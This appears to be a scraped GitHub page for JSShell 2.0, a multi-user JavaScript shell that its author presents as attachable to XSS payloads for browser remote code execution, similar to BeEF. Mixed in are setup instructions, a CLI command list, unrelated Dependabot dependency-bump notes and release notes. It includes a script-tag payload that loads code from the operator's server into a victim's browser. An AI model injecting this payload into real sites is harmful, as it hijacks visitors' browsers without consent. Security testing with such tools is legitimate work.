An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS (Cross Site Scripting) payload to achieve browser remote code execution (similar to the BeeF framework).
Version 2.0 is created entirely from scratch, introducing new exciting features, stability and maintainability.
<script>
tagsIn the resources
directory, update the config.json
file with your desired configuration:
* Database host - if running with the docker
deployment method, choose the database host as db
(which is the internal host name).
* Return URL - the URL which the requests will follow. The shell.js
file does some AJAX calls to register and poll
for new commands. Usually it will be http[s]://{YOUR_SERVER_IP}:{PORT}
.
* Startup script - a script that runs automatically when the JSShell CLI client is spawned.
* Domain - if you desire to generate TLS certificates, this is the domain name the server will use.
* It is also possible to point at a remote database if desired.
Now JSShell supports TLS, which means you can now generate TLS certificates and feed them to the web server.
The web server will infer the domain name from the config.json
file. In order to create the certificate,
use the create_cert.py
script in the scripts
folder:
bash
$ cd scripts
$ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
Please note that the web server must be down in order for the script to function properly. At this point, we have
successfully generated our certificates! The sole modifications we need to do are:
* In the config.json
file, change the schema of the URL
field to https
.
* In the docker-compose.yml
file change the exposed port of the web
container to 443
.
This new version supports installing and running JSShell via docker
and docker-compose
. Now, to install and run the
entire JSShell framework, simply run:
bash
$ ./scripts/start_docker_shell.sh
This will:
- Start and create the database in the background
- Start the web API server that handles incoming connections in the background
- Spawn a new instance of the JSShell
command line interface container
If you still want to use the old fashion method of installing, simply make sure you have a MongoDB
database up and running, and update the config.json
file residing in the resources
directory.
I recommend using a virtual environment with pyenv
:
bash
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Or using virtualenv
:
bash
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Then, install the requirements:
bash
$ pip install -r requirements.txt
If you used the docker
method, there's no need to run the following procedure.
Otherwise, once we have the database setup, we need to start the web API server. To do, run:
bash
$ python manage.py web
This will create and run a web server that listens to incoming connections and serves our JSShell code.
Now to start the JSShell CLI, run the same script but now with the shell
flag:
bash
$ python manage.py shell
After setup and running the required components, enter the help
command to see the available commands:
```
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
help
Documented commands (type help
edit Edit a file in a text editor help List available commands or provide detailed help for a specific command history View, run, edit, save, or clear previously entered commands ipy Enter an interactive IPython shell py Invoke Python command or shell quit Exit this application
back Un-select the current selected client clients List and control the clients that have registered to our system commands Show the executed commands on the selected client dump Dumps a command to the disk execute Execute commands on the selected client select Select a client as the current client
```
JSShell supports 2 methods of operation: 1. Injectable Shell (similar to BeeF framework) 2. Hosted Shell (for debugging)
Similar to other XSS control frameworks (like BeeF), JSShell is capable of managing successful XSS exploitations.
In example, if you can inject a script
tag, inject the following resource to your payload, and a new client will
appear in your console:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
If you desire to debug exotic and esoteric browsers, you can simply navigate to http[s]://{YOUR_SERVER_IP}:{PORT}/
and
a new client will pop up into your JSShell CLI client. Now it is debuggable via our JSShell console.
Canop for JSON.prune
We can run a command like id on client when they connect to our shell right? Or is it js only
Bumps arrow from 0.12.1 to 0.15.1.
Sourced from arrow's releases.
Version 0.15.1
- [FIX] Fixed a bug that caused Arrow to fail when passed a negative timestamp string.
- [FIX] Fixed a bug that caused Arrow to fail when passed a datetime object with
tzinfo
of typeStaticTzInfo
.Version 0.15.0
- [NEW] Added support for DDD and DDDD ordinal date tokens. The following functionality is now possible:
arrow.get("1998-045")
,arrow.get("1998-45", "YYYY-DDD")
,arrow.get("1998-045", "YYYY-DDDD")
.- [NEW] ISO 8601 basic format for dates and times is now supported (e.g.
YYYYMMDDTHHmmssZ
).- [NEW] Added
humanize
week granularity translations for French, Russian and Swiss German locales.- [CHANGE] Timestamps of type
str
are no longer supported without a format string in thearrow.get()
method. This change was made to support the ISO 8601 basic format and to address bugs such as #447.# will NOT work in v0.15.0 arrow.get("1565358758") arrow.get("1565358758.123413")
will work in v0.15.0
arrow.get("1565358758", "X") arrow.get("1565358758.123413", "X") arrow.get(1565358758) arrow.get(1565358758.123413)
- [CHANGE] When a meridian token (a|A) is passed and no meridians are available for the specified locale (e.g. unsupported or untranslated) a
ParserError
is raised.- [CHANGE] The timestamp token (
X
) will now match float timestamps of typestr
:arrow.get(“1565358758.123415”, “X”)
.- [CHANGE] Strings with leading and/or trailing whitespace will no longer be parsed without a format string. Please see the docs for ways to handle this.
- [FIX] The timestamp token (
X
) will now only match on strings that strictly contain integers and floats, preventing incorrect matches.- [FIX] Most instances of
arrow.get()
returning an incorrectArrow
object from a partial parsing match have been eliminated. The following issue have been addressed: #91, #196, #396, #434, #447, #456, #519, #538, #560.Version 0.14.7
- [CHANGE]
ArrowParseWarning
will no longer be printed on every call toarrow.get()
with a datetime string. The purpose of the warning was to start a conversation about the upcoming 0.15.0 changes and we appreciate all the feedback that the community has given us!Version 0.14.6
- [NEW] Added support for
week
granularity inArrow.humanize()
. For example,arrow.utcnow().shift(weeks=-1).humanize(granularity="week")
outputs "a week ago". This change introduced two new untranslated words,week
andweeks
, to all locale dictionaries, so locale contributions are welcome!- [NEW] Fully translated the Brazilian Portugese locale.
- [CHANGE] Updated the Macedonian locale to inherit from a Slavic base.
- [FIX] Fixed a bug that caused
arrow.get()
to ignore tzinfo arguments of type string (e.g.arrow.get(tzinfo="Europe/Paris")
).- [FIX] Fixed a bug that occurred when
arrow.Arrow()
was instantiated with apytz
tzinfo object.- [FIX] Fixed a bug that caused Arrow to fail when passed a sub-second token, that when rounded, had a value greater than 999999 (e.g.
arrow.get("2015-01-12T01:13:15.9999995")
). Arrow should now accurately propagate the rounding for large sub-second tokens.Version 0.14.5
- Added Afrikaans locale.
- Removed deprecated replace shift functionality.
- Fixed bug that occurred when factory.get() was passed a locale kwarg. (#630 )
Version 0.14.4
- Fixed a regression in 0.14.3 that prevented a tzinfo argument of type string to be passed to the
get()
function. Functionality such asarrow.get("2019072807", "YYYYMMDDHH", tzinfo="UTC")
should work as normal again.- Moved backports.functools_lru_cache dependency from extra_requires to install_requires for Python 2.7 installs to fix #495.
Version 0.14.3
- Added full support for Python 3.8.
... (truncated)
Sourced from arrow's changelog.
0.15.1 (2019-09-10)
- [NEW] Added
humanize
week granularity translations for Japanese.- [FIX] Fixed a bug that caused Arrow to fail when passed a negative timestamp string.
- [FIX] Fixed a bug that caused Arrow to fail when passed a datetime object with
tzinfo
of typeStaticTzInfo
.0.15.0 (2019-09-08)
- [NEW] Added support for DDD and DDDD ordinal date tokens. The following functionality is now possible:
arrow.get("1998-045")
,arrow.get("1998-45", "YYYY-DDD")
,arrow.get("1998-045", "YYYY-DDDD")
.- [NEW] ISO 8601 basic format for dates and times is now supported (e.g.
YYYYMMDDTHHmmssZ
).- [NEW] Added
humanize
week granularity translations for French, Russian and Swiss German locales.- [CHANGE] Timestamps of type
str
are no longer supported without a format string in thearrow.get()
method. This change was made to support the ISO 8601 basic format and to address bugs such as[#447](https://github.com/arrow-py/arrow/issues/447) <https://github.com/arrow-py/arrow/issues/447>
_.The following will NOT work in v0.15.0:
.. code-block:: python
>>> arrow.get("1565358758") >>> arrow.get("1565358758.123413")
The following will work in v0.15.0:
.. code-block:: python
>>> arrow.get("1565358758", "X") >>> arrow.get("1565358758.123413", "X") >>> arrow.get(1565358758) >>> arrow.get(1565358758.123413)
- [CHANGE] When a meridian token (a|A) is passed and no meridians are available for the specified locale (e.g. unsupported or untranslated) a
ParserError
is raised.- [CHANGE] The timestamp token (
X
) will now match float timestamps of typestr
:arrow.get(“1565358758.123415”, “X”)
.- [CHANGE] Strings with leading and/or trailing whitespace will no longer be parsed without a format string. Please see
the docs <https://arrow.readthedocs.io/#regular-expressions>
_ for ways to handle this.- [FIX] The timestamp token (
X
) will now only match on strings that strictly contain integers and floats, preventing incorrect matches.- [FIX] Most instances of
arrow.get()
returning an incorrectArrow
object from a partial parsing match have been eliminated. The following issue have been addressed:[#91](https://github.com/arrow-py/arrow/issues/91) <https://github.com/arrow-py/arrow/issues/91>
,[#196](https://github.com/arrow-py/arrow/issues/196) <https://github.com/arrow-py/arrow/issues/196>
,[#396](https://github.com/arrow-py/arrow/issues/396) <https://github.com/arrow-py/arrow/issues/396>
,[#434](https://github.com/arrow-py/arrow/issues/434) <https://github.com/arrow-py/arrow/issues/434>
,[#447](https://github.com/arrow-py/arrow/issues/447) <https://github.com/arrow-py/arrow/issues/447>
,[#456](https://github.com/arrow-py/arrow/issues/456) <https://github.com/arrow-py/arrow/issues/456>
,[#519](https://github.com/arrow-py/arrow/issues/519) <https://github.com/arrow-py/arrow/issues/519>
,[#538](https://github.com/arrow-py/arrow/issues/538) <https://github.com/arrow-py/arrow/issues/538>
,[#560](https://github.com/arrow-py/arrow/issues/560) <https://github.com/arrow-py/arrow/issues/560>
_.0.14.7 (2019-09-04)
- [CHANGE]
ArrowParseWarning
will no longer be printed on every call toarrow.get()
with a datetime string. The purpose of the warning was to start a conversation about the upcoming 0.15.0 changes and we appreciate all the feedback that the community has given us!0.14.6 (2019-08-28)
- [NEW] Added support for
week
granularity inArrow.humanize()
. For example,arrow.utcnow().shift(weeks=-1).humanize(granularity="week")
outputs "a week ago". This change introduced two new untranslated words,week
andweeks
, to all locale dictionaries, so locale contributions are welcome!- [NEW] Fully translated the Brazilian Portuguese locale.
- [CHANGE] Updated the Macedonian locale to inherit from a Slavic base.
- [FIX] Fixed a bug that caused
arrow.get()
to ignore tzinfo arguments of type string (e.g.arrow.get(tzinfo="Europe/Paris")
).- [FIX] Fixed a bug that occurred when
arrow.Arrow()
was instantiated with apytz
tzinfo object.
... (truncated)
96e19e8
Merge pull request #665 from jadchaar/version-0.15.15b0d2a7
Merge pull request #664 from jadchaar/tzinfo-zone15fae21
Prep 0.15.1 releasef49cd84
Renamed variabledafdb69
Fix bug with tzinfo.zone256e53f
Merge pull request #663 from JBKahn/patch-11974316
linting45d12d4
Update parser_tests.pyd856efa
Update parser.py9b05216
Add Japanese translations for week(s) (#659)Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps ipython from 7.2.0 to 7.16.3.
d43c7c7
release 7.16.35fa1e40
Merge pull request from GHSA-pq7m-3gw7-gq5x8df8971
back to dev9f477b7
release 7.16.2138f266
bring back release helper from master branch5aa3634
Merge pull request #13341 from meeseeksmachine/auto-backport-of-pr-13335-on-7...bcae8e0
Backport PR #13335: What's new 7.16.28fcdcd3
Pin Jedi to <0.17.2.2486838
release 7.16.120bdc6f
fix conda buildDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps flask-cors from 3.0.7 to 3.0.9.
Sourced from flask-cors's releases.
Release 3.0.9
Security
- Escape path before evaluating resource rules (thanks
@praetorian-colby-morgan
). Prior to this, flask-cors incorrectly evaluated CORS resource matching before path expansion. E.g. "/api/../foo.txt" would incorrectly match resources for "/api/*" whereas the path actually expands simply to "/foo.txt"Release 3.0.8
Fixes DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
Thank you
@juanmaneo
and@jdevera
!
Sourced from flask-cors's changelog.
3.0.9
Security
- Escape path before evaluating resource rules (thanks to Colby Morgan). Prior to this, flask-cors incorrectly evaluated CORS resource matching before path expansion. E.g. "/api/../foo.txt" would incorrectly match resources for "/api/*" whereas the path actually expands simply to "/foo.txt"
3.0.8
Fixes : DeprecationWarning: Using or importing the ABCs from 'collections' in Python 3.7. Thank you
@juanmaneo
and@jdevera
for the contribution.
91babb9
Update Api docs for credentialed requests (#221)522d989
Release version 3.0.9 (#273)67c4b2c
Fix request path normalization (#272)5c6e05e
docs: Fix simple typo, garaunteed -> guaranteed566aef2
Fixed over-indentation8a4e6e7
Update changelog to give proper kudos to @juanmaneo
and @jdevera
c93f4e4
Fix DeprecationWarning on python 3.7 for python 3.8Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps pygments from 2.3.0 to 2.7.4.
Sourced from pygments's releases.
2.7.4
Updated lexers:
Fix infinite loop in SML lexer (#1625)
Fix backtracking string regexes in JavaScript/TypeScript, Modula2 and many other lexers (#1637)
Limit recursion with nesting Ruby heredocs (#1638)
Fix a few inefficient regexes for guessing lexers
Fix the raw token lexer handling of Unicode (#1616)
Revert a private API change in the HTML formatter (#1655) -- please note that private APIs remain subject to change!
Fix several exponential/cubic-complexity regexes found by Ben Caller/Doyensec (#1675)
Fix incorrect MATLAB example (#1582)
Thanks to Google's OSS-Fuzz project for finding many of these bugs.
2.7.3
... (truncated)
Sourced from pygments's changelog.
Version 2.7.4
(released January 12, 2021)
Updated lexers:
Fix infinite loop in SML lexer (#1625)
Fix backtracking string regexes in JavaScript/TypeScript, Modula2 and many other lexers (#1637)
Limit recursion with nesting Ruby heredocs (#1638)
Fix a few inefficient regexes for guessing lexers
Fix the raw token lexer handling of Unicode (#1616)
Revert a private API change in the HTML formatter (#1655) -- please note that private APIs remain subject to change!
Fix several exponential/cubic-complexity regexes found by Ben Caller/Doyensec (#1675)
Fix incorrect MATLAB example (#1582)
Thanks to Google's OSS-Fuzz project for finding many of these bugs.
Version 2.7.3
(released December 6, 2020)
... (truncated)
4d555d0
Bump version to 2.7.4.fc3b05d
Update CHANGES.ad21935
Revert "Added dracula theme style (#1636)"e411506
Prepare for 2.7.4 release.275e34d
doc: remove Perl 6 ref2e7e8c4
Fix several exponential/cubic complexity regexes found by Ben Caller/Doyenseceb39c43
xquery: fix pop from empty stack2738778
fix coding style in test_analyzer_lexer02e0f09
Added 'ERROR STOP' to fortran.py keywords. (#1665)c83fe48
support added for css variables (#1633)Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
Bumps jinja2 from 2.10.1 to 2.11.3.
Sourced from jinja2's releases.
2.11.3
This contains a fix for a speed issue with the
urlize
filter.urlize
is likely to be called on untrusted user input. For certain inputs some of the regular expressions used to parse the text could take a very long time due to backtracking. As part of the fix, the email matching became slightly stricter. The various speedups apply tourlize
in general, not just the specific input cases.
- PyPI: https://pypi.org/project/Jinja2/2.11.3/
- Changes: https://jinja.palletsprojects.com/en/2.11.x/changelog/#version-2-11-3
2.11.2
2.11.1
This fixes an issue in async environment when indexing the result of an attribute lookup, like
{{ data.items[1:] }}
.2.11.0
- Changes: https://jinja.palletsprojects.com/en/2.11.x/changelog/#version-2-11-0
- Blog: https://palletsprojects.com/blog/jinja-2-11-0-released/
- Twitter: https://twitter.com/PalletsTeam/status/1221883554537230336
This is the last version to support Python 2.7 and 3.5. The next version will be Jinja 3.0 and will support Python 3.6 and newer.
2.10.3
2.10.2
Sourced from jinja2's changelog.
Version 2.11.3
Released 2021-01-31
- Improve the speed of the
urlize
filter by reducing regex backtracking. Email matching requires a word character at the start of the domain part, and only word characters in the TLD. :pr:1343
Version 2.11.2
Released 2020-04-13
- Fix a bug that caused callable objects with
__getattr__
, like :class:~unittest.mock.Mock
to be treated as a :func:contextfunction
. :issue:1145
- Update
wordcount
filter to trigger :class:Undefined
methods by wrapping the input in :func:soft_str
. :pr:1160
- Fix a hang when displaying tracebacks on Python 32-bit. :issue:
1162
- Showing an undefined error for an object that raises
AttributeError
on access doesn't cause a recursion error. :issue:1177
- Revert changes to :class:
~loaders.PackageLoader
from 2.10 which removed the dependency on setuptools and pkg_resources, and added limited support for namespace packages. The changes caused issues when using Pytest. Due to the difficulty in supporting Python 2 and :pep:451
simultaneously, the changes are reverted until 3.0. :pr:1182
- Fix line numbers in error messages when newlines are stripped. :pr:
1178
- The special
namespace()
assignment object in templates works in async environments. :issue:1180
- Fix whitespace being removed before tags in the middle of lines when
lstrip_blocks
is enabled. :issue:1138
- :class:
~nativetypes.NativeEnvironment
doesn't evaluate intermediate strings during rendering. This prevents early evaluation which could change the value of an expression. :issue:1186
Version 2.11.1
Released 2020-01-30
- Fix a bug that prevented looking up a key after an attribute (
{{ data.items[1:] }}
) in an async template. :issue:1141
... (truncated)
cf21539
release version 2.11.315ef8f0
Merge pull request #1343 from pallets/urlize-speedupef658dc
speed up urlize matchingeeca0fe
Merge pull request #1207 from mhansen/patch-12dd7691
Merge pull request #1209 from mhansen/patch-34892940
do_dictsort: update example ready to copy/paste7db7d33
api.rst: bugfix in docs, import PackageLoader9ec465b
fix changelog header737a4cd
release version 2.11.2179df6b
Merge pull request #1190 from pallets/native-evalDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase
.
A whole new release introducing docker deployment and a complete code re-write.
Added new functionalities:
Added the new functionalities: * Injectable via script tags * Preflight scripts were improved.
First version of this tool.
aka Den1al ➖ Head of Research @Oxeye ▫️Tech junkie ▫️ Bug Hunter ▫️Developer ▫️Pythonista
GitHub Repositorypython python-3-6 javascript shell web interactive xss exploit